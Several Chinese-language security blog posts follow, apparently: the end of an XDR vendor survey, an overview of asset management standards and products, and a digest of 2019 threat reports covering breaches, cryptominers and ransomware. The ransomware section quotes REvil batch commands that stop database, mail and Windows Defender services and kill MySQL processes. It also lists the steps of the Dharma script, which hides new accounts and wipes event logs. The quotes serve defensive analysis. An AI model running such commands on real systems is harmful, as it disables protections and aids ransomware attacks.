威胁狩猎也是XDR重点解决的高级威胁问题。威胁狩猎根据内容的驱动不同分为：基于情报、基于知识、基于经验、基于合规、基于机器学习这五大类威胁狩猎能力。威胁狩猎一般都是针对于高级威胁而进行的人工动作，在这里可以自动化的通过产品进行分析。

Trend Micro

趋势科技也较早在全球范围内推出了XDR的解决方案，其口号是“看到你之前错过的”。根据收集自身相关产品的相关安全事件，包括了云工作负载、终端、邮件、网络的信息，收集到所谓的数据湖中，在此之上进行自动化的检测、威胁狩猎、根本原因分析等，可以将这些结果数据对接给SIEM或者SOAR，同时也可以搭配相关的安全服务以便于此种类型的产品体系的良好运营。

图12：趋势科技的XDR服务

其解决方案的重要突出特点是脱离仅仅一个视角，进行关联的检测和集成的调查和响应。XDR将分析的结果报警发送给SIEM，如果SIEM对这种高可信度的报警需要进一步的分析，需要在XDR的分析界面进一步调查，并采取相关动作。同时可以利用趋势科技的威胁情报资源对XDR进行赋能。很多的检测技术是参照ATT&CK的攻击战术和技术来进行检测技术的提升和覆盖。

Cynet

Cynet是一家从事EDR的以色列公司，同时也有其XDR的方案，其XDR的方案会与SOAR和MDR的服务一块表述，统一叫做自动化泄露保护平台。从下图可以看出其XDR的解决方案有EDR、UBA、NTA和蜜罐，基本的产品矩阵跟上述类似，唯一的区别就是用户层面的保护和蜜罐。

图13：Cynet自动化泄露保护平台

根据这些产品组合和统一化分析，Cynet可以做到的也是根本原因分析以及攻击时间轴表示。

图14：Cynet XDR产品界面

其XDR带来的价值包括提高威胁的可见性和精确性，综合相关威胁的指标，有些威胁可能由大变小，有些威胁可能由小变大；同时可以降低很多威胁噪音。另一方面的价值在于提高效率，自动化降低误报的几率，让人员充分关注真正的威胁，从而让人员的效率得到了极大地提升。还有一方面就是降低成本，Cynet提供的服务都是免费的，同时其产品综合了一揽子安全产品，比单点采购要便宜一些。最后一个角度是，对于安全运营人员来说就是睡个好觉，这主要是通过7*24的服务体现的。

还有很多其他公司的XDR方案也集成了其自身的安全产品，进行了相关的威胁的检测和响应的组合。

总结

XDR作为新的解决方案出现也就是近一两年的事情，但是在国外其已经得到了主流客户和主流咨询机构的认可，这也侧面印证一些其自身价值。XDR这种解决方案主要是面临实际的威胁检测和响应而存在，之前EDR仅仅解决了终端上的检测响应，但是其他层面解决的较少，所以才出现了XDR这种综合的威胁检测和响应平台。这种解决方案的价值主要存在于，可以打破壁垒，可以将安全产品天然融合在一起，可以产生1+1>2的效果，将终端、流量、认证、邮件等相关安全产品的报警集成在一起，可以关联分析。同时可以降低实际的采购成本和拥有成本。还有重要的一点就是可以提高个人和组织的综合效率。

这些特点都是针对于SIEM这种产品进行对标表述的，可能SIEM实际的中心地位会受到XDR这种产品的挑战，SIEM的部署成本极高，需要对接每个安全产品，同时进行关联分析，需要了解每个产品的报警属性，变相增加了产品拥有成本，也让这种每种都采购最好的安全产品集成的采购成本居高不下。同时SIEM形成的SOC，也会分Tier1、Tier2、分析师等角色，存在大量报警需要人员进行确认，需要安全运营人员花费大量时间处理简单而繁琐的事件甚至是误报。

其实短期内不存在XDR代替SIEM的情况，大部分XDR的解决方案都将其报警对接给SIEM，然后SIEM接收到的其他报警也可以通过XDR进行进一步分析。两者目前还是配合状态，SIEM还是发挥其报警归并、日志存储等基本核心功能。

XDR也有其自身的局限性，比如一般来说都是单一厂商提供的解决方案，基本都是全家桶性质的，这个要做好区分，必须能够实际带来威胁检测和响应的特殊场景和效率的，更进一步说必须要提高安全运营的效率和效果。也可能会有供应商锁定的情况，同时采购周期一般也会比较长，需要有远见并有长期规划的单位才适合。

XDR在国外已经有一些供应商提供了相关的解决方案，可以作为一些参考，其核心解决方案的产品也有一定的共性。攻击链可视、根本原因分析以及威胁狩猎都是此类解决方案的核心场景。XDR这种解决方案在国内的落地可能还有一段的距离，但是可能是未来安全运营的一种思路和解决方案，但是不是最佳解决方案，具体要看实际情况。

阅读原文

跳转微信打开

网络安全的资产管理

Mon, 22 Jun 2020 19:00:00 +0800

程度 2020-06-22 19:00

你保护不了你看不见的资产。

IT的资产管理在国外有专门的领域叫做ITAM（IT Asset Management），主要视角集中在包括硬件角度、财务角度和合同角度，比如购买的硬件资产的状况、资产价值、供应商的服务水平、拥有者等等相关信息。融合了相关的硬件信息、财务信息以及合同信息等相关信息。

后面出现了CMDB专注于资产配置类信息的产品，现代的CMDB保存资产信息要比ITAM要更多，细节信息更丰富。比如说ITAM只有设备信息，而CMDB会有更多的IP类和MAC类信息，ITAM只有软件的License信息，而CMDB则包含软件的版本信息等。

图1：ITAM产品和CMDB产品包含

资产及功能差异

随着时代的发展，对于ITAM的要求也在变化，包括从网络安全角度，信息资产管理角度，新型License模型，都要求ITAM要增加新的功能来满足这些需求，这对于ITAM就是全新挑战。除了ITAM之外，CMDB同时也在演变，有了一些SaaS类厂商，比如ServiceNow、Device42等公司有一些创新的做法，后面也会提到一些。由于这篇文章主要专注于网络安全领域的资产管理，IT领域的资产管理概念这块就不赘述。

图2：ITAM快速新挑战

网络安全资产管理的标准

NIST CSF

NIST CSF标准是国内外安全领域都十分认可的框架。在其六大领域：识别（Identify）、保护（Protect）、检测（Detect）、响应（Respond）和恢复（Recover）中，识别是NIST CSF第一步的动作，而资产管理（Asset Management）则是识别第一步。对于资产管理本身，又有6个子分类，包括：物理设备的信息、软件平台和应用的信息、数据和通信的信息、外部信息系统、基于分类、重要性和商业价值的优先级排序、人员角色的相关责任包括了供应商、客户和合作伙伴等。这几个方面相对来说比较全面，但是只是在笼统层面的一种表述。

图3：资产管理六个方面

NIST SP 1800-5

NIST SP 1800-5 是专门针对于安全资产管理的标准。从架构和实例都讲的比较详细。如下图所示整个功能架构图，第三层主要是各种设备，包括硬件设备和软件系统以及虚拟机等资产；第二层是数据收集的方式，将资产信息收集上来，主要是一些配置相关的信息；第一层是数据存储、数据分析以及报告和可视化方面，可以做到合规等方面的工作。

图4：ITAM资产管理相关功能

下图是一种网络拓扑结构的例子，该组织有5个子网都经过防火墙和路由器连接到DMZ网络。DMZ区会放置一些资产收集装置，包括补丁服务器，VPN，流量分析设备等，其他每个网络收集的资产信息都不太一样，ITAM网络里面主要是域控服务器、CA服务器、邮件服务器、运维服务器以及办公终端等资产；物理资产管理网络里面主要是路由器、交换机以及相关资产管理的系统；物理安全网络范围内主要是OT类的设备，包括摄像头、视频存储、门禁等设备；网络安全网络主要管理漏洞扫描、SIEM、IPDS等安全类设备；Lab5 是实验室跟实验相关的设备相关。

图5：资产管理网络拓扑图

根据上述的资产总体架构以及网络架构，实现了一种资产统一管理的示例方案，针对这些不同的资产，采用了相关开源或者是比较主流的解决方案，在Tier2层可以发现有很多相关的系统，进行资产的收集和管理，最后全部汇总到Splunk进行统一展示、分析。

图6：统一资产管理方案

CIS Control

CIS Control 对于资产管理有更具体的表述，主要集中在硬件资产和软件资产的表述。对于硬件资产有8个方面的要求：1.要有主动发现资产的工具；2.有被动发现资产的工具；3.通过DHCP进行更新资产信息；4.维护资产的目录信息；5.维护资产的信息数据；6.管理未授权资产；7.使用访问控制，比如802.1X的标准接入；8.使用证书机制来验证硬件。这几个方面讲的比较具体分类三大类：资产发现类，资产维护类和资产安全类。资产发现除了主动扫描和被动流量分析之外，还加入了DHCP这种自动分配IP的服务进行资产发现，也是一种很好的思路。资产维护类的需要维护资产的基本信息和详细信息，基本信息包括硬件信息和IP信息等，详细信息包括机器名、所有者，部门负责人等，这些信息必须定期更新维护，否则资产一旦有变化这些信息就会不准。资产安全类的主要在于访问控制类的内容，防止非法接入，使用ACL机制进行保证，使用证书机制进行验证等都是属于这种资产安全接入的方式。

图7：CIS硬件资产发现和控制8项规则

下图是个硬件资产管理的总体示意图，主动和被动发现资产方式，网络级别的认证和PKI证书体系的安全保证来进行资产信息数据库的更新，从而进行分析和报告。

图8：CIS硬件资产管理的总体示意图

对于软件资产相关的内容有10项相关内容：1.保证授权软件；2.保证软件有厂商进行维护；3.使用软件资产管理工具；4.跟踪软件资产信息；5.关联软件和硬件资产；6.发现未授权软件；7.使用应用白名单；8.使用加载库白名单；9.使用白名单脚本；10.隔离高危险应用。这些内容看起来很合理，但是做到实在太难。关于授权软件这个事情其实已经出了很多类型的事件，比如Xcode事件和Lastpass事件都是类似的情况，盗版软件被植入了木马，引发的安全事故，但是盗版软件使用仍然很常见，很多组织也没有很有效的管理起来。还有一些不在LTS版本规范中系统也无法进行更新，也依然在使用，比如Windows XP和Windows 7等，就算爆出0Day，微软一般也不会支持了。白名单这个事情更难了，应用级别、加载库和脚本级别，想完全实现白名单会极大增加运维的成本和影响上线速度。

图9：CIS软件资产管理10项规则

资产管理的总体架构

上面讲到了NIST和CIS的标准是从基本面上说明了网络安全领域资产管理应该做的内容，结合这些理论的内容和产品研发的相关理解，总结了以下一些内容，主要从功能要求、数据要求以及资产收集技术路线三个方面进行讲述。

资产管理功能

资产属性标记：有了这些基本信息之外还需要一些额外的信息进行填充。比如负责人员、地理位置等，这都是管理类信息需要对资产进行标记。

资产分组及重要性标记：资产所属的业务组以及重要性，也需要相应的标记。这样对于安全事件发生之后或者漏洞管理方面都是很重要的参考维度。

资产发现：对于安全来说，就害怕存在未纳入安全管控范围的资产，所以通过资产发现能够发现那些僵尸资产或者是未受安全保护的资产。这个能力是一个必备能力，常常是通过扫描或者其他服务相互验证进行发现。

资产合规：对于管理规范的组织来说，使用什么软硬件都是有相应的规范的，比如只使用Debian8这一种操作系统，也是为了方便管理和维护。有上述的资产信息，就可以很容易的做到资产合规性检查。

资产查询：资产查询对于突发的0Day或者高危的漏洞来说是最好的方式了，可以迅速定位可能受到影响的资产，比如meltdown这种CPU级别的漏洞就很快能够定位，还比如有新发现的Weblogic RCE的0Day，也能迅速定位。

资产授权管理：对于大型机构和集团公司，不同的资产对应不同的部门和公司，需要对这些不同的组织进行授权管理，只允许针对自身的资产进行查看和管理，同时受到上级部门的监督和管理。

资产变更管理：资产的变更有时候能够发现很多异常安全事件，比如突然增加了一个库，增加了一个应用软件或者计划任务，或者新增的端口等，这些都有可能是入侵过程中遗留的内容。正常的变更也是日常运维管理和安全管理的一部分。同时也会存在新上线系统的安全检查以及资产从一个部门换到另外一个部门后的安全策略调整。

资产信息集成：CMDB是一个重要的资产信息来源，但从安全视角来看还是不够的。还需要集成IP库，DNS信息以及统一身份认证系统。这些都是基础资产信息，有条件的可以结合相关的安全产品进程资产信息的集成，比如SIEM或者是终端类的安全产品也有类似资产的情况。

资产风险：根据实际的情况来决定风险问题，这个跟漏洞和维护情况有关。尤其对于已知的风险情况要定期进行梳理，对于处于高危风险的软硬件，就不应该上线。对于资产风险做统一的管理，尤其常见的RCE的中间件或者库，在上线之前要做到风险检查。

资产数据类型

硬件资产清单：硬件的相关配置信息，包括芯片、内存、存储、主板等相关信息。

软件资产清单：操作系统、数据库、中间件、应用软件、第三方软件，开发库等。这里面的内容相当庞杂，仅操作系统一项，包括的内容就非常多，如操作系统版本、进程信息、端口信息、账号信息、计划任务、安装软件等。数据库的相关配置信息也有一些，比如连接信息，账号信息等配置信息，也包括日志路径等。其他的软件资产也根据其自身的特性需要维护相关的内容，比如开发库的版本号就是很重要的资产信息。

云计算资产清单：云计算资产信息会结合软硬件信息，包括云计算资源池的位置，云计算分组信息和相关使用云计算产品的信息等等。但是深入到相关实例的信息可能又关联到软件资产信息。

信息资产清单：主要包括一些基本的网络信息，比如IP、DNS等信息，也会包括一些业务方面的信息，比如交易系统等，当然也可以通过结合软硬件信息进行标签化处理。

数据资产清单（Option）：这个内容跟数据治理有一定的相关性，但是数据安全越来越受到重视。如何识别数据资产的类型和分类，从广义上也属于安全领域需要关注的资产类型之一。

人力资源和认证清单（Option）：这些人员本质上来说是跟资产有一定的关联性，资产会落到每个人身上。对于管理完善的组织，每个资产都有相应的负责人。同时每个人的权限也算是必要的一种资产标记，每个人的对于每个资产的权限也是一种很重要的信息。

资产收集方案

主动流量探测：这是目前市面上比较主流方案，对于客户来说接受度比较高。通过扫描方式，获取相关的banner或者TCP/IP各个层面的扫描方式进行确认，比如通过ICMP、ARP、SNMP、HTTP等协议方式进行探测。这种方式如果在各种隔离的环境需要部署多套扫描器或者通过隧道的方式进行内网扫描。这种方式的优点是能够发现一些隐藏的资产、相对全面，但是缺点是效率较低，对于内网的带宽会有一定消耗。还有就是会存在一定的误报的情况，识别资产上可能不准，一些细粒度的信息也是无法获取的，比如进程数据。

被动流量探测：这种方式侵入性比较低，可以通过流量进行判断。需要对于流量进行分析，但是这个被动的流量分析大部分的情况都是用于IPDS的设备，没有这个角度去看待资产问题。可以在被动流量的分析上以资产的视角分析，也是一个很好的资产管理的补充。同时这种方式会比较片面，如果没有访问过的资产或者只在内网交互的资产，可能在边界流量探测就可能发现不了此类资产。

统一身份认证系统探测：前提有统一身份认证系统，同时管理比较严格，这种方式才可以进行相关资产的探测。比较依赖于IAM系统的接口和信息收集，所有的资产登录都需要统一身份认证系统进行维护和配置的情况下就可以收集相关的信息，比如通过IAM的后台系统进行统计。

Agent探测：这是一种常见的资产采集的方式，优点是采集数据准确率高，资产的丰富度高，对于主机或者设备可以进行全面的数据收集。

其它服务探测：自有系统或者服务也是资产探测的来源。比如DHCP服务可以探测相关的IP信息，DNS服务可以发现内部的所有域名。

ShadowIT资产探测：影子IT需要外网的扫描器，关注于对外可能暴露的资产情况。这个手段就会比较多样，可能跟每个可能会用到的平台有关。比如代码类的GitHub和国内的码云等，存储的也会有网盘的分享之类，也可以通过shodan等相关数据来源进行收集。其他的IT环境可能用到的外部IT系统都在考虑之内。

系统集成对接：这种方式是对接其他的资产收集系统或者方式，这种对接不直接探测和收集资产信息只是做聚合。

资产管理的厂商介绍

Axonius

Axonius做为2019年的RSAC的创新沙盒冠军。其产品做法也是比较巧妙，这个产品不使用任何终端和网络的agent资产采集功能，不做资产收集只做资产聚合。可以通过它的产品界面可以看出来是什么环境的，可能是Windows的某个版本，外加使用VMware和McAfee的杀毒软件。需要对接这些所有产品系统，能够对接的产品的列表非常多，但是只关注资产层面的信息，包括各种资产管理系统，安全产品以及云平台，宣称已经支持了232中各种系统和设备的对接和适配。

图10：Axonius资产管理产品界面

其用法就是首先部署Axonius的服务端，然后进行适配连接相关设备和系统，最后就可以进行相关资产查询。比如想知道Windows系统中使用McAfee杀毒软件的覆盖率是多少，这种综合条件的查询比较便利。下图是根据Azure的使用进行的资产分析，包括实例类型分布，设备位置以及端口对外情况以及未被扫描到的实例。

图11：Axonius资产查询界面图

Panaseer

这家公司提出的一个新的概念叫做CCM，即持续控制检测。目的是为了将资产等各个方面的安全做到持续的安全监控。其本质做法也和Axonius类似，通过Connector连接器将各种系统对接，收集相关设备、应用、人员、账号以及数据库的相关信息。在这个基础上有很多模块，包括资产管理、漏洞管理、用户安全意识、特权账号管理、身份访问管理、终端管理、引用管理和补丁管理。在资产分析上可以做到展示已知和未知的资产信息；持续监控资产状态，发现未被管理的资产以及不在维保范围的资产；获取相关资产的属性信息，包括业务和技术方面的内容，包括业务组以及地理位置等信息；并可以灵活的搜索相关的资产信息。安全控制层面的做法有一定的特色，可以统计EDR产品的覆盖率，其他的安全产品是不是都在运营过程中，监控安全产品的部署情况，可以跟踪修复进程并说明相关进度。其他方面包括诊断和合规方面算是比较传统的功能。

图12：Panaseer基于CCM资产管理产品

LifeOmic’s JupiterOne

JupiterOne第一步也是做各种系统的集成，尤其在云平台方面，对于AWS云平台内部的各种应用的梳理相当的全面。这些数据会按照他的数据模型进行格式化和存储，为后续的查询等工作奠定基础。同时支持API和CLI的方式进行对接，可以将相关的内容对接给JupiterOne。

根据上述的集成操作，第二步就可以将各种资产自动发现并进行展示。对于云内资产有深度对接和展示，也有相关的访问控制信息，对数据进行相关聚合，并30分钟做一次资产数据同步，同时也有资产的相关图关系的展示。

同时可以做到的就是相关合规性的检测，包括了相关国外的主流标准，比如PCI-DSS、NIST相关标准、SOC2、CSA等标准，对于合规的报警和修复反馈也是功能之一。

比较核心的能力有两个，其一就是有一套语言可以查询分析，另外一个就是图关系展示。有一套自研的JupiterOne Query Language (J1QL)查询语言，对于资产以及合规情况可以很好的查询分析。有很多内置的语句和说明可以使用，包括某些关键字，就可以将所有的相关信息输出出来。

图13：LifeOmic’s JupiterOne产品资产查询页面

另外一个核心能就是资产图关系的展示。比如说下图就是一个账号可能关联到的所有资产信息，也可以展示网络拓扑结构以及安全策略和跟踪某些特定资产可能受到攻击的情况。

图14：LifeOmic’s JupiterOne产品资产关系图

ServiceNow

ServiceNow作为SaaS类型的ITSM的供应商，作为了一种平台型公司。ITAM算是其中的一个重要模块，这个模块有四个部分构成：硬件资产管理，软件资产管理（SAM），CMDB和资产发现。硬件资产管理和软件资产管理更多是从财务角度进行统计，硬件资产涉及的合同管理，合规管理，SLA管理，入职资产分配等等方面。软件资产管理涉及费用管理，license管理，合规管理、性能分析、漏洞管理等等方面。

图15：ServiceNow产品资产概览视图

图16：ServiceNow产品界面图

而CMDB的信息大部分都是配置类型信息，他们的关系可以理解为，配置的信息大多来自于硬件资产的一些目录信息和软件的相关信息。

图17：ServiceNow产品配置信息来源

ServiceNow的CMDB其数据来源也是来自于其他的平台，包括VMware的vCenter和微软的SCCM或者是其他的终端管理平台，也可以通过excel的方式进行导入。同时也会对CMDB中的数据做健康性检查，包括完整度打分、合规性打分以及正确性打分，也可以对某些数据做补全和修复。

图18：ServiceNow CMDB健康度检查

也可以对资产的配置信息进行查询，并对查询结果进行可视化显示。

图19：ServiceNow产品查询结果展示

ServiceNow的资产发现模块，通过在内网环境中某台机器上安装一个软件，染过通过内网扫描的方式发现各种资产，针对不同的资产使用不同的协议进行信息收集。同时也可以通过其他云平台的接口接入云计算的相关资源，甚至包括Red Hat的OpenShift和Nutanix的超融合架构。

Lansweeper

Lansweeper是一家比较纯粹的做资产管理的公司，产品主要分了三个模块：资产发现，资产清点和资产分析。针对于资产发现，手段比较多样，有被动的网络发现，也有主动的网络发现，同时也有基于agent方式发现更细节的资产信息，也能够对接各种平台。对接的资产方面也很全面，有本地的资产，也有云端的资产，甚至有移动端的资产。

资产清点的内容包括了虚拟机的资产信息，交换机的端口映射信息，性能数据，授权信息，设备相关信息，还包括windows事件日志信息以及注册表和文件信息。

图20：Lansweepe产品资产管理图

最后一步分析，主要是报表等Dashboard之类的展示，也有漏洞和补丁相关的信息。也可以做到筛选和查询相关的功能。整体产品感觉比较朴素，设计上没有下太多功夫。

图21：Lansweepe产品报表及展示图

Device42

Device42的产品有一定的特色，尤其在可视化层面。从数据中心的资产开始，比如有机房的布局可视化、机架的结构图以及硬件面板的连接关系展示以及编辑。这个是DCIM领域的产品。

图22：Device42产品可视化界面

其他的对接的内容也类似，跟云平台的对接和运维工具可以对接。设备类型的信息也是比较标准的内容，可以查询可以浏览，也有资产自动发现的功能。根据netflow的数据做的相关应用依赖的拓扑图，同时也有IP地址管理。

图23：Device42设备信息说明

其产品概括起来，就是个强大的CMDB，产品结合了自动发现、应用依赖、DCIM、ITAM和IPAM的内容。

总结

本文主要在从网络安全的角度来看待资产管理，主要分为三个部分：第一部分，主要讲解了相关国外主流标准中资产管理的位置以及如何进行资产管理；第二部分，结合笔者的理解试图设计一种比较全面的资产管理的总体架构，主要分了资产收集、资产数据以及资产功能三个方面；最后一部分，选择了比较主流的安全角度资产管理的三家厂商和运维角度资产管理的三家厂商对他们的产品进行了相关的描述。资产管理是网络安全领域重要的起点功能，资产扫描也是攻击者进行攻击的第一步，对于自身资产的理解是做好网络安全的根基。最终目的是提高资产的可见性，降低资产的风险性，保证资产的合规性。引用国外的一句话：你保护不了你看不见的资产。

阅读原文

跳转微信打开

2019年网络安全报告精选

Thu, 30 Apr 2020 18:58:00 +0800

原创程度 2020-04-30 18:58

笔者近期阅读了十几个知名公司和机构的年度报告，将一些要点总结分享给大家。

近期，国外各大厂商陆续推出了自己的2019年网络安全报告，表达了各自对网络安全的分析与理解。这些报告既对2019年做出了总结，也对2020年的网络安全做出了展望。笔者近期阅读了十几个知名公司和机构的年度报告，将一些要点总结分享给大家。这些报告有些偏重于数据分析，有些偏重于深度调查，有些偏向于趋势判断。笔者更多的是关注新的威胁存在哪里，以及我们应该采取哪些应对措施。

数据泄漏分析

从2011年起，Verizon发布的数据泄露报告是每年必看的安全报告之一，从中可以看出每年的一些变化。大部分的情况下还是一致的，外部攻击因素是导致数据泄漏的主要原因，占比在70%左右，内部威胁导致的数据泄漏占比30%，同时也有供应链合作伙伴导致的数据泄露，但占比很低。从目的上来说，经济利益考虑因素占比75%，商业间谍行为的每年占比变动较大，占比在25%左右摆动，其他因素占比较少。

图1 数据泄露中不同攻击因素的占比变化

图2 数据泄露中不同攻击目的的占比变化

从导致数据泄漏的行为可以看出，黑客攻击、恶意软件和社会工程占到了前三位，社会工程有了大幅的增长。从资产角度来看，服务器、开发环境和个人设备的数据泄漏位列前三，个人设备导致的数据泄露大幅增长。社会工程和个人设备很强的关联作用。比例上会有重叠的部分，所以整体比例超过了100%。

图3 数据泄露中的攻击行为（左）和资产类别（右）

恶意软件导致的数据泄漏主要有后门类型、远控类型和监控类型。从安全事件来看（不一定导致数据泄漏），主要行为是邮件附件/直接安装和未知邮件等。

图4 数据泄露中最常用的恶意软件变体（左）和攻击向量（右）

传递方式上以邮件作为主要方式，文件类型主要以Office文档类型和app为主。再结合社会工程的钓鱼行为就能完成一次完整的攻击。这些数据表明了2019年的一些增长的攻击方式，也侧面印证了安全邮件网关SEG这个产品在RSA上数量增多的原因。

图5 恶意软件类型和提交方式

下图是今年的报告中最有创意的一张图。下图数据安全关注的机密性、完整性和可用性CIA三个方面，来表明攻击的路径和步数。比如，从机密性来看，黄色代表误用权限，蓝色代表错误配置，只需一步就破坏了机密性，攻击效率较高。从完整性来看，根据黑客攻击和恶意软件进行攻击成功的步数就会很长，大概需要10几步才能成功。这样就可以知道哪些攻击方式简便有效，更加值得关注。

图6 攻击步骤（按最终攻击属性划分）

也可以通过攻击起始步骤和中间步骤和最后一步来看，基本也能看出来一些内容，不过基本还是黑客行为和恶意软件为主，配置错误和权限误用也是一个很重要的攻击点。

图7 安全事件中第一步、中间步骤和最后一步的攻击手法

从最后对攻击步数的总结中可以看出，路径越短，成功的概率越高；对于防御方来说，攻击路径越短，防御效果反而越差。

图8 在攻击模拟中攻击成功的概率（按攻击链长度划分）

最后是一张高度总结的图，纵坐标是三大类内容：攻击类型、攻击动作和攻击资产，横坐标是安全事件和数据泄漏的情况，并且是按照行业来划分的。其实，我们需要关注的重点是颜色较深的区域，黑客行为和社会工程导致的数据泄漏较多；同时，从资产角度来看，服务器是重中之重。所以说，防止黑客攻击和社会工程是防御中最重要的内容，服务器是数据泄漏中最重要的资产。

图9 攻击泄露总结（左：所有安全事件；右：数据泄露）

攻击事件分析

每年，FireEye的报告也有一些攻击事件的数据，比如这个内外部攻击的比例，基本是不相上下的比例。不同的区域略微有所不同，比如亚太地区主要是外部攻击为主，但是在美洲地区内外部攻击差不多。

图10 攻击检测（按来源划分）

图11 区域性攻击检测2018-2019对比（按来源划分）

攻击者驻留时间从2011年到2019年有了很大的提升，攻击检测发现时间中位数从416天缩短到现在的56天，尤其是内部检测，达到了30天，但是外部攻击的发现时间还是在141天。

图12 全球驻留时间中位数（按年份划分）

从下面关于驻留时间的两年对比图可以看出，短时间内发现攻击的比例在提高，在30天内发现的比例从30%增长到40%，这证明安全的防御手段都在提高，整体的安全态势在向好的方向发展。

图13 全球驻留时间分布

从行业角度来看，可以发现2019年攻击的重点行业是娱乐业、金融机构、政府、专业服务业、工业和高科技及运营商行业。

图14 黑客攻击的目标行业

挖矿木马分析

挖矿木马也是去年比较流行的恶意软件之一，主要是利用计算资源获取比特币或者其他加密货币，从而获取财富，在NTT的《2019全球威胁情报报告》中有单独的章节进行表述。目前的挖矿木马主要分为三种：专为挖矿而存在的恶意软件、一些经改造可以用于挖矿的恶意软件和基于Web类型的挖矿木马，主要通过客户端的浏览器实现。虽然看起来仅仅是对性能造成危害，但是潜在的造成危害的可能性很高，所以要及早处理。

图15 挖矿木马的分类及影响

从2016年出现了挖矿木马，在2017年底、2018年初和年底，呈现出爆发的态势，刚好跟比特币的价格高点有相当高的重合性。反之，可以得出比特币价值越高，挖矿木马爆发的可能性就越高的结论。

图16 挖矿木马的发展趋势

有三种挖矿木马最为常见，XMRig、CoinHive和CoinMiner。其中，XMRig属于在计算机上安装后进行门罗币挖矿的程序，CoinHive是将一段JavaScript代码内置在网站中，访客访问时进行门罗币挖矿的行为，CoinMiner与XMRig类似。

图17 挖矿木马分类

最顶级的挖矿团伙主要是三个：Rocke、8220 Mining Group和Tor2Mine。Rocke是中国的团伙，使用Struts和Weblogic和Java一些库的漏洞进行渗透，同时利用社会工程学，提供虚假的Chrome和Flash升级包进行安装，同时还可以利用挖矿木马进行勒索软件的投放，看起来这个手法确实很中国范。8220 Mining Group使用的是恶意容器镜像，据说也是中国的团队并且开发了whatMiner。这个组织主要针对于Drupal这种CMS、Struts2和YARN的相关漏洞。Tor2Mine这个组织利用Tor2web这个软件（可以正常浏览访问暗网），隐藏了C2的通道进行挖矿行为，可以执行伪装成jpg图片的shell脚本下载和执行恶意软件。同时也会利用Weblogic和Struts2进行挖矿木马的投放，也会利用PowerShell。

图18. Top 3 挖矿团伙

制造和投放挖矿木马的动机很简单，就是利益。挖矿木马本身无害，所以很多杀毒引擎都不会标记挖矿行为是可疑行为。挖矿行为同时伴随着凭证窃取的行为，从而可以实现更好的横向扩展，扩大整个挖矿木马的感染率。Linux是挖矿木马比较偏爱的平台，当然更优先考虑的是有GPU处理能力的系统。对于检测挖矿木马的方式，以前可以通过监控CPU的使用率实现。现在的挖矿木马智能了，可以控制CPU的消耗，控制在一个阈值内。挖矿木马需要在系统中长期存在才能实现更多利益，所以持久化是必须需要考虑的内容，可以做到持久化的动作都会做，比如修改系统服务、预加载、修改系统命令等等方式。

对于挖矿木马的防御，要做到以下几点：

1. 对于用户、开发者以及应用账号，应该遵循最小权限原则。这样就会让挖矿木马很难有权限进行安装和执行。

2. 严格设置防火墙的入站和出站规则。这样就很难达到相关的位置进行挖矿行为。

3. 限制浏览器的挖矿行为，需要禁用一些浏览器插件。

4. 禁用矿池协议Stratum，这样就会让挖矿木马无法通过这种协议连接矿池，同时也会让挖矿木马无法运转。

5. 隔离网络，可以将挖矿木马感染限制在一定范围内。

勒索病毒分析

CrowdStrike的2020全球威胁报告，对于勒索病毒以及相关的恶意软件分析的最为深入，这有赖于全球范围内的agent部署和统一的SaaS平台能力。大猎杀游戏（Gig Game Hunting）作为企业级的勒索行为的代号，是网络犯罪中最猖獗的行为。从下表可以看出最高的几起勒索病毒的收益，勒索赎金从1250万美金到100万美金不等。以下是几种知名的勒索病毒的“战果”，主要是几个家族类型的勒索软件：Ryuk、REvil、DoppelPaymer、Maze和BitPaymer。

在2018年，小蜘蛛组织（Crowdstrike 用蜘蛛来定义网络犯罪组织）开创了威胁软件即服务的模式（Ransomware as a service）这种商业模式，但是分支机构太多，以致GranCrab太著名不得不 “退休”，改换门庭以Revil示人，防止大家注意力过度集中可能导致国际法律的诉讼。

表1 2019年公布的最大金额勒索事件

REvil勒索软件的攻击路径如下：初始手段基本就是利用“密码飞沫”攻击，就是用不同的账号和简单密码进行尝试，与暴力破解类似。对在互联网上的RDP服务和SMB服务进行攻击，一旦尝试成功了登录，就会下载工具并进行脚本执行。在这其中会执行bat脚本主要执行以下操作：

net stop IISADMIN

net stop SQLBrowser

net stop MSExchangeSA

taskkill /f /im mysql*

停止这些服务可以进行打开文件进行加密，如果在运行过程中，可能会被占用而无法加密。同时删除系统备份和系统的安全日志。当然要停止windows自带的安全服务：

net stop WinDefend

实际的勒索软件会写入到“我的文档”中，大概位置如下：

可以看出来是伪装成了windows服务的通用主机进程而躲避检测。如果入侵被阻止了，这个二进制是无法执行的，可以得出结论这个是有远控功能的程序。

再以“达摩”勒索病毒为例，初始的攻击行为也是“密码飞沫”和暴力破解进行RDP服务的攻击进行登录，一旦登录成功就会在Administrator账号下执行一系列恶意脚本，这些脚本自动化改变很多系统配置，以保持远控，同时执行勒索软件并且擦除系统日志。这个名字叫Zzz.bat的脚本主要做了如下一些工作：

1.为本地账号创建新密码

2.查询本地Administrator是否可以远程访问

3.操作账号和相关的用户组设置

4.增加新账号

5.修改文件系统权限，隐藏新增账号

6.修改注册表，实现远程访问，禁用超时时间限制

7.在初始登录页面隐藏新增账号

8.创建system64q.dll文件以及相关工具脚本start.cmd和Loog.bat以及rdpclip.exe（作为NSSM 服务管理器）和payload.exe(“达摩”本体)

9.执行start.cmd脚本，会创建一个新的系统服务，叫做WindowsSystem可以执行勒索软件的payload

10.执行Loog.bat脚本，可以清空系统的事件日志。

如果执行勒索软件payload失败后，还会下载远端的黑客攻击工具进行远程调试，进行debug发现为何无法执行勒索软件。看到这里，笔者发现很多安全产品都没有这个强大的能力，首先可以很快发现产品bug，并且很方便的进行远程debug。

为了防止勒索软件的入侵，应该做到以下几点：

1. 查看现在远程访问策略和访问点，以及日志是否开启并保留。并且对于远程访问进行限制和监控。

2. 使用多因素认证。对于所有远程访问，并且对于外部应用和内部敏感应用，进行风险评估，对于弱密码和非授权访问进行全面排查。

3. 进行常规的漏洞扫描，对于利用可能性比较高的漏洞进行修复。

4. 定义一系列应急响应流程，并组建应急响应团队，进行主机隔离和防火墙变革以及账号权限撤销等操作。

在勒索事件中，如果勒索不成功，比如自己有备份恢复，勒索组织可能会公布数据，又会变成一起数据泄露事件。如果买了网络安全保险，交了赎金，没有金钱的损失，也有面临无法恢复的风险。所以，组织机构要提前加强自己的防范能力。

网络犯罪组织除了勒索之外，其他木马类型的软件以及恶意的下载工具也是形成了行业性的特点。

图19 2019年报道的网络犯罪（按威胁类型划分）

